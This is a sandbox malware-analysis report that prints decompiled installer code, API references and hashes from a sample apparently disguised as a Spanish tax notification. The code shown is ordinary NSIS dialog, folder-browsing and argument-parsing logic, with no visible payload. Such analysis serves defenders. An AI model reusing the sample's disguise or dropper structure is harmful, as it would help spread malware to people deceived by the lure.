					_t284 = 0;
					if( *0x7a8a6c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t302 = _v20 + 8;
						_v28 = _t302;
						do {
							_t270 =  &(_t302[0x10]);
							if( *_t270 != 0) {
								_v60 = _t270;
								_t271 =  *_t302;
								_t294 = 0x20;
								_v84 = _t284;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t294;
								_v40 = _t316;
								_v68 = _t271 & _t294;
								if((_t271 & 0x00000002) == 0) {
									if((_t271 & 0x00000004) == 0) {
										 *( *0x7a1f18 + _t316 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v84);
									} else {
										_t284 = SendMessageW(_v8, 0x110a, "true", _t284);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t276 = SendMessageW(_v8, 0x1132, 0,  &_v84);
									_v32 = 1;
									 *( *0x7a1f18 + _t316 * 4) = _t276;
									_t284 =  *( *0x7a1f18 + _t316 * 4);
								}
							}
							_t316 = _t316 + 1;
							_t302 =  &(_v28[0x818]);
							_v28 = _t302;
						} while (_t316 <  *0x7a8a6c);
						if(_v32 != 0) {
							L20:
							if(_v16 != 0) {
								E00404229(_v8);
								_t282 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00404229(_v12);
								L91:
								return E0040425B(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404c4e
0x00404c5f
0x00404c64
0x00404c6c
0x00404c72
0x00404c7a
0x00404c88
0x00404c8b
0x00404eac
0x00404eb3
0x00404ec7
0x00404eb5
0x00404eb7
0x00404eba
0x00404ebb
0x00404ec2
0x00404ec2
0x00404ed3
0x00404ee1
0x00404ee4
0x00404efa
0x00404f6f
0x00404f72
0x00404f74
0x00404f7e
0x00404f8c
0x00404f8c
0x00404f8e
0x00404f98
0x00404f9e
0x00404fa1
0x00404fa4
0x00404fbf
0x00404fa6
0x00404fb0
0x00404fb0
0x00404fa4
0x00404f98
0x00000000
0x00404f72
0x00404eff
0x00404f0a
0x00404f0f
0x00404f16
0x00404f1b
0x00404f1f
0x00404f2a
0x00404f2a
0x00404f2e
0x00404f32
0x00404f36
0x00404f49
0x00404f38
0x00404f38
0x00404f3f
0x00404f45
0x00404f41
0x00404f41
0x00404f41
0x00404f3f
0x00404f4d
0x00404f4f
0x00404f62
0x00404f65
0x00404f68
0x00404f68
0x00404f32
0x00000000
0x00404f1f
0x00404f01
0x00404f08
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404fc2
0x00404fc2
0x00404fc9
0x0040503a
0x00405042
0x0040504a
0x0040504a
0x00405053
0x00405055
0x0040505c
0x0040505f
0x0040505f
0x00405065
0x0040506c
0x0040506f
0x0040506f
0x00405075
0x0040507b
0x00405081
0x00405081
0x0040508e
0x004051e4
0x004051eb
0x00405208
0x0040520e
0x00405220
0x00405220
0x00000000
0x00405094
0x00405096
0x0040509b
0x004050a0
0x004050a5
0x004050a7
0x004050a7
0x004050a8
0x004050a9
0x004050ab
0x004050ab
0x004050b3
0x004050f4
0x004050f6
0x00405106
0x00405109
0x0040510e
0x00405115
0x00405118
0x004051ba
0x004051c0
0x004051c6
0x004051ce
0x004051df
0x004051df
0x00000000
0x004051ce
0x0040511e
0x00405121
0x00405127
0x0040512c
0x0040512e
0x00405130
0x00405136
0x0040513d
0x00405142
0x00405149
0x0040514c
0x0040514c
0x00405153
0x0040515f
0x00405163
0x00405165
0x00405165
0x00405155
0x00405155
0x00405157
0x00405157
0x00405185
0x00405191
0x004051a0
0x004051a0
0x004051a2
0x004051a5
0x004051ae
0x00000000
0x004050b5
0x004050c0
0x004050c3
0x004050c8
0x004050ca
0x004050ce
0x004050de
0x004050e8
0x004050ea
0x004050ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004050d0
0x004050d0
0x004050d6
0x004050d8
0x004050d8
0x004050d9
0x004050da
0x00000000
0x004050d0
0x004050b3
0x0040508e
0x00404fd1
0x00000000
0x00404fe7
0x00404ff1
0x00404ff6
0x00000000
0x00000000
0x00405008
0x0040500d
0x00405019
0x00405019
0x0040501b
0x0040502a
0x0040502c
0x00405030
0x00405033
0x00000000
0x00405033
0x00404fd1
0x00404c91
0x00404c96
0x00404c9f
0x00404ca6
0x00404cb4
0x00404cbf
0x00404cc5
0x00404cd3
0x00404ce7
0x00404cec
0x00404cf9
0x00404cfe
0x00404d14
0x00404d25
0x00404d32
0x00404d32
0x00404d35
0x00404d3b
0x00404d3d
0x00404d40
0x00404d45
0x00404d4a
0x00404d4c
0x00404d4c
0x00404d6c
0x00404d6c
0x00404d6e
0x00404d6f
0x00404d74
0x00404d77
0x00404d7a
0x00404d7e
0x00404d83
0x00404d88
0x00404d8c
0x00404d91
0x00404d96
0x00404d98
0x00404da0
0x00404e6b
0x00404e7e
0x00000000
0x00404da6
0x00404da9
0x00404dac
0x00404daf
0x00404daf
0x00404db6
0x00404dbc
0x00404dbf
0x00404dc5
0x00404dc6
0x00404dcb
0x00404dd4
0x00404ddb
0x00404dde
0x00404de1
0x00404de4
0x00404e20
0x00404e49
0x00404e22
0x00404e2f
0x00404e2f
0x00404de6
0x00404de9
0x00404df8
0x00404e02
0x00404e0a
0x00404e11
0x00404e19
0x00404e19
0x00404de4
0x00404e4f
0x00404e50
0x00404e5c
0x00404e5c
0x00404e69
0x00404e84
0x00404e88
0x00404ea5
0x00404eaa
0x00000000
0x00404e8a
0x00404e8f
0x00404e98
0x00405222
0x00405234
0x00405234
0x00404e88
0x00000000
0x00404e69
0x00404da0

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C57
GetDlgItem.USER32(?,00000408), ref: 00404C62
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CAC
LoadBitmapW.USER32(0000006E), ref: 00404CBF
SetWindowLongW.USER32(?,000000FC,00405237), ref: 00404CD8
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404CEC
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404CFE
SendMessageW.USER32(?,00001109,00000002), ref: 00404D14
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D20
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D32
DeleteObject.GDI32(00000000), ref: 00404D35
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D60
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D6C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E02
SendMessageW.USER32(?,0000110A,?,00000000), ref: 00404E2D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E41
GetWindowLongW.USER32(?,000000F0), ref: 00404E70
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404E7E
ShowWindow.USER32(?,00000005), ref: 00404E8F
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404F8C
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404FF1
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405006
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040502A
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040504A
ImageList_Destroy.COMCTL32(?), ref: 0040505F
GlobalFree.KERNEL32(?), ref: 0040506F
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004050E8
SendMessageW.USER32(?,00001102,?,?), ref: 00405191
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051A0
InvalidateRect.USER32(?,00000000,00000001), ref: 004051C0
ShowWindow.USER32(?,00000000), ref: 0040520E
GetDlgItem.USER32(?,000003FE), ref: 00405219
ShowWindow.USER32(00000000), ref: 00405220

Strings

M, xrefs: 00404DE9
N, xrefs: 00404ECA
, xrefs: 004051F8

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: efe07da3f21e8944becdbd6b16cc60fa8a21edaf4e8f3c48f24736c6ed69ddc7
Instruction ID: 12ef5a05c60c6c20dcbbeb1066bc3531ea5280fcb44ea9637735f2a88fa268fa
Opcode Fuzzy Hash: efe07da3f21e8944becdbd6b16cc60fa8a21edaf4e8f3c48f24736c6ed69ddc7
Instruction Fuzzy Hash: 670260B0900209EFEB109F64DD85AAE7BB5FB85314F10817AF610BA2E1DB799D41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004046C3 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004046C3(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x7a0ef8; // 0xb5c044
				_v32 = _t82;
				_t2 = _t82 + 0x3c; // 0x0
				_t3 = _t82 + 0x38; // 0x0
				_t146 = ( *_t2 << 0xb) + 0x7a9000;
				_v12 =  *_t3;
				if(_a8 == 0x40b) {
					E004058A5(0x3fb, _t146);
					E004064F3(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004058A5(0x3fb, _t146);
							if(E00405C38(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040625F(0x79fef0, _t146);
							_t87 = E00406639(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040625F(0x79fef0, _t146);
								_t89 = E00405BDB(0x79fef0);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x79fef0,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x79fef0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x79fef0,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405B7C(0x79fef0);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x79fef0) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404B60(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x7a79fc; // 0xb5eb9a
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404B48(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x79fee0);
									} else {
										E00404A7F(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x7a8ae4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E00404216(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x7a1f10 == _t158) {
									E0040461C();
								}
								 *0x7a1f10 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x7a1f20;
							_v60 = E00404A19;
							_v56 = _t146;
							_v68 = E00406281(_t146, 0x7a1f20, _t167, 0x7a06f8, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405B30(_t146);
								_t125 =  *((intOrPtr*)( *0x7a8a34 + 0x11c));
								if( *((intOrPtr*)( *0x7a8a34 + 0x11c)) != 0 && _t146 == L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated") {
									E00406281(_t146, 0x7a1f20, _t167, 0, _t125);
									if(lstrcmpiW(0x7a69c0, 0x7a1f20) != 0) {
										lstrcatW(_t146, 0x7a69c0);
									}
								}
								 *0x7a1f10 =  *0x7a1f10 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405BA7(_t146) != 0 && E00405BDB(_t146) == 0) {
						E00405B30(_t146);
					}
					 *0x7a79f8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004041F4(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004041F4(_t167);
					E00404229(_t166);
					_t138 = E00406639(7);
					if(_t138 == 0) {
						L53:
						return E0040425B(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x004046c3
0x004046c9
0x004046cf
0x004046d3
0x004046d6
0x004046dc
0x004046ea
0x004046ed
0x004046f5
0x004046fb
0x004046fb
0x00404707
0x0040470a
0x00404778
0x0040477f
0x00404856
0x0040485d
0x0040486c
0x0040486c
0x00404870
0x0040487a
0x00404887
0x00404889
0x00404889
0x00404897
0x0040489e
0x004048a5
0x004048a8
0x004048e4
0x004048e6
0x004048ec
0x004048f1
0x004048f5
0x004048f7
0x004048f7
0x00404913
0x00000000
0x00404915
0x00404918
0x00404926
0x0040492c
0x0040492d
0x00404930
0x00404933
0x00000000
0x00404933
0x004048aa
0x004048ac
0x004048b0
0x00000000
0x00000000
0x00000000
0x00000000
0x004048b2
0x004048b2
0x004048bf
0x004048c4
0x00000000
0x00000000
0x004048c8
0x004048ca
0x004048ca
0x004048d3
0x004048d5
0x004048da
0x004048dd
0x004048e2
0x00000000
0x00000000
0x00000000
0x00000000
0x004048e2
0x0040493f
0x00404949
0x0040494c
0x0040494f
0x00404956
0x00404956
0x00404958
0x00404958
0x0040495d
0x0040495f
0x00404967
0x0040496e
0x00404970
0x0040497b
0x0040497b
0x00404970
0x00404982
0x0040498b
0x00404995
0x0040499d
0x004049b8
0x0040499f
0x004049a8
0x004049a8
0x0040499d
0x004049bd
0x004049c2
0x004049c7
0x004049d0
0x004049d0
0x004049d9
0x004049db
0x004049db
0x004049e7
0x004049ef
0x004049f9
0x004049f9
0x004049fe
0x00000000
0x004049fe
0x004048a8
0x0040485f
0x00404866
0x00000000
0x00000000
0x00000000
0x00404866
0x00404785
0x0040478e
0x004047a8
0x004047ad
0x004047b7
0x004047be
0x004047ca
0x004047cd
0x004047d0
0x004047d7
0x004047df
0x004047e2
0x004047e6
0x004047ed
0x004047f5
0x0040484f
0x004047f7
0x004047f8
0x004047ff
0x00404809
0x00404811
0x0040481e
0x00404832
0x00404836
0x00404836
0x00404832
0x0040483b
0x00404848
0x00404848
0x004047f5
0x00000000
0x004047ad
0x0040479b
0x00000000
0x00000000
0x004047a1
0x00000000
0x0040470c
0x00404719
0x00404722
0x0040472f
0x0040472f
0x00404736
0x0040473c
0x00404745
0x00404748
0x0040474b
0x00404753
0x00404756
0x00404759
0x0040475f
0x00404766
0x0040476d
0x00404a04
0x00404a16
0x00404773
0x00404776
0x00000000
0x00404776
0x0040476d

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404712
SetWindowTextW.USER32(00000000,-007A9000), ref: 0040473C
SHBrowseForFolderW.SHELL32(?), ref: 004047ED
CoTaskMemFree.OLE32(00000000), ref: 004047F8
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,-007A9000), ref: 0040482A
lstrcatW.KERNEL32(-007A9000,Call), ref: 00404836
SetDlgItemTextW.USER32(?,000003FB,-007A9000), ref: 00404848

Part of subcall function 004058A5: GetDlgItemTextW.USER32(?,?,00000400,0040487F), ref: 004058B8

Part of subcall function 004064F3: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040332B,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 00406556
Part of subcall function 004064F3: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406565
Part of subcall function 004064F3: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040332B,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 0040656A
Part of subcall function 004064F3: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",0040332B,C:\Users\user\AppData\Local\Temp\,757F3420,0040359C,?,00000006,00000008,0000000A), ref: 0040657D

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,-007A9000,00000001,0079FEF0,-007A9000,-007A9000,000003FB,-007A9000), ref: 0040490B
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404926

Part of subcall function 00404A7F: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-007A9000), ref: 00404B20
Part of subcall function 00404A7F: wsprintfW.USER32 ref: 00404B29
Part of subcall function 00404A7F: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B3C

Strings

Call, xrefs: 00404824, 00404829, 00404834
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated, xrefs: 00404813
A, xrefs: 004047E6

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated$Call
API String ID: 2624150263-3865270459
Opcode ID: d51832195b8407123dedbb082ffaa1d348f5dfd198bd9c85db8b114916822c7c
Instruction ID: 1a43a6be4abc44de482ff05cd7d85368efa207dbef88ee5e6ca465c7332a2ce1
Opcode Fuzzy Hash: d51832195b8407123dedbb082ffaa1d348f5dfd198bd9c85db8b114916822c7c
Instruction Fuzzy Hash: B0A1AEF1900209ABDB11AFA5CD45AAFB7B8EF84314F10843BF611B62D1DB7C99418B69

Uniqueness

Uniqueness Score: -1.00%

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E10001B18() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				WCHAR* _v44;
				signed int _v48;
				void* _v52;
				intOrPtr _v56;
				WCHAR* _t199;
				signed int _t202;
				void* _t204;
				void* _t206;
				WCHAR* _t208;
				void* _t216;
				struct HINSTANCE__* _t217;
				struct HINSTANCE__* _t218;
				struct HINSTANCE__* _t220;
				signed short _t222;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t227;
				void* _t228;
				intOrPtr* _t229;
				void* _t240;
				signed char _t241;
				signed int _t242;
				struct HINSTANCE__* _t248;
				void* _t249;
				signed int _t251;
				short* _t253;
				signed int _t259;
				void* _t260;
				signed int _t263;
				signed int _t266;
				signed int _t267;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				void* _t278;
				void* _t282;
				struct HINSTANCE__* _t284;
				signed int _t287;
				void _t288;
				signed int _t289;
				signed int _t301;
				signed int _t302;
				signed short _t308;
				signed int _t309;
				WCHAR* _t310;
				WCHAR* _t312;
				WCHAR* _t313;
				struct HINSTANCE__* _t314;
				void* _t316;
				signed int _t318;
				void* _t319;

				_t284 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t319 = 0;
				_v48 = 0;
				_t199 = E1000121B();
				_v24 = _t199;
				_v28 = _t199;
				_v44 = E1000121B();
				_t309 = E10001243();
				_v52 = _t309;
				_v12 = _t309;
				while(1) {
					_t202 = _v32;
					_v56 = _t202;
					if(_t202 != _t284 && _t319 == _t284) {
						break;
					}
					_t308 =  *_t309;
					_t287 = _t308 & 0x0000ffff;
					_t204 = _t287 - _t284;
					if(_t204 == 0) {
						_t33 =  &_v32;
						 *_t33 = _v32 | 0xffffffff;
						__eflags =  *_t33;
						L17:
						_t206 = _v56 - _t284;
						if(_t206 == 0) {
							__eflags = _t319 - _t284;
							 *_v28 = _t284;
							if(_t319 == _t284) {
								_t319 = GlobalAlloc(0x40, 0x1ca4);
								 *(_t319 + 0x1010) = _t284;
								 *(_t319 + 0x1014) = _t284;
							}
							_t288 = _v36;
							_t43 = _t319 + 8; // 0x8
							_t208 = _t43;
							_t44 = _t319 + 0x808; // 0x808
							_t310 = _t44;
							 *_t319 = _t288;
							_t289 = _t288 - _t284;
							__eflags = _t289;
							 *_t208 = _t284;
							 *_t310 = _t284;
							 *(_t319 + 0x1008) = _t284;
							 *(_t319 + 0x100c) = _t284;
							 *(_t319 + 4) = _t284;
							if(_t289 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L39;
								}
								_t316 = 0;
								GlobalFree(_t319);
								_t319 = E10001311(_v24);
								__eflags = _t319 - _t284;
								if(_t319 == _t284) {
									goto L39;
								} else {
									goto L32;
								}
								while(1) {
									L32:
									_t240 =  *(_t319 + 0x1ca0);
									__eflags = _t240 - _t284;
									if(_t240 == _t284) {
										break;
									}
									_t316 = _t319;
									_t319 = _t240;
									__eflags = _t319 - _t284;
									if(_t319 != _t284) {
										continue;
									}
									break;
								}
								__eflags = _t316 - _t284;
								if(_t316 != _t284) {
									 *(_t316 + 0x1ca0) = _t284;
								}
								_t241 =  *(_t319 + 0x1010);
								__eflags = _t241 & 0x00000008;
								if((_t241 & 0x00000008) == 0) {
									_t242 = _t241 | 0x00000002;
									__eflags = _t242;
									 *(_t319 + 0x1010) = _t242;
								} else {
									_t319 = E1000158F(_t319);
									 *(_t319 + 0x1010) =  *(_t319 + 0x1010) & 0xfffffff5;
								}
								goto L39;
							} else {
								_t301 = _t289 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									L28:
									lstrcpyW(_t208, _v44);
									L29:
									lstrcpyW(_t310, _v24);
									L39:
									_v12 = _v12 + 2;
									_v28 = _v24;
									L63:
									if(_v32 != 0xffffffff) {
										_t309 = _v12;
										continue;
									}
									break;
								}
								_t302 = _t301 - 1;
								__eflags = _t302;
								if(_t302 == 0) {
									goto L29;
								}
								__eflags = _t302 != 1;
								if(_t302 != 1) {
									goto L39;
								}
								goto L28;
							}
						}
						if(_t206 != 1) {
							goto L39;
						}
						_t248 = _v16;
						if(_v40 == _t284) {
							_t248 = _t248 - 1;
						}
						 *(_t319 + 0x1014) = _t248;
						goto L39;
					}
					_t249 = _t204 - 0x23;
					if(_t249 == 0) {
						__eflags = _t309 - _v52;
						if(_t309 <= _v52) {
							L15:
							_v32 = _t284;
							_v36 = _t284;
							goto L17;
						}
						__eflags =  *((short*)(_t309 - 2)) - 0x3a;
						if( *((short*)(_t309 - 2)) != 0x3a) {
							goto L15;
						}
						__eflags = _v32 - _t284;
						if(_v32 == _t284) {
							L40:
							_t251 = _v32 - _t284;
							__eflags = _t251;
							if(_t251 == 0) {
								__eflags = _t287 - 0x2a;
								if(_t287 == 0x2a) {
									_v36 = 2;
									L61:
									_t309 = _v12;
									_v28 = _v24;
									_t284 = 0;
									__eflags = 0;
									L62:
									_t318 = _t309 + 2;
									__eflags = _t318;
									_v12 = _t318;
									goto L63;
								}
								__eflags = _t287 - 0x2d;
								if(_t287 == 0x2d) {
									L131:
									__eflags = _t308 - 0x2d;
									if(_t308 != 0x2d) {
										L134:
										_t253 = _t309 + 2;
										__eflags =  *_t253 - 0x3a;
										if( *_t253 != 0x3a) {
											L141:
											_v28 =  &(_v28[0]);
											 *_v28 = _t308;
											goto L62;
										}
										__eflags = _t308 - 0x2d;
										if(_t308 == 0x2d) {
											goto L141;
										}
										_v36 = 1;
										L137:
										_v12 = _t253;
										__eflags = _v28 - _v24;
										if(_v28 <= _v24) {
											 *_v44 = _t284;
										} else {
											 *_v28 = _t284;
											lstrcpyW(_v44, _v24);
										}
										goto L61;
									}
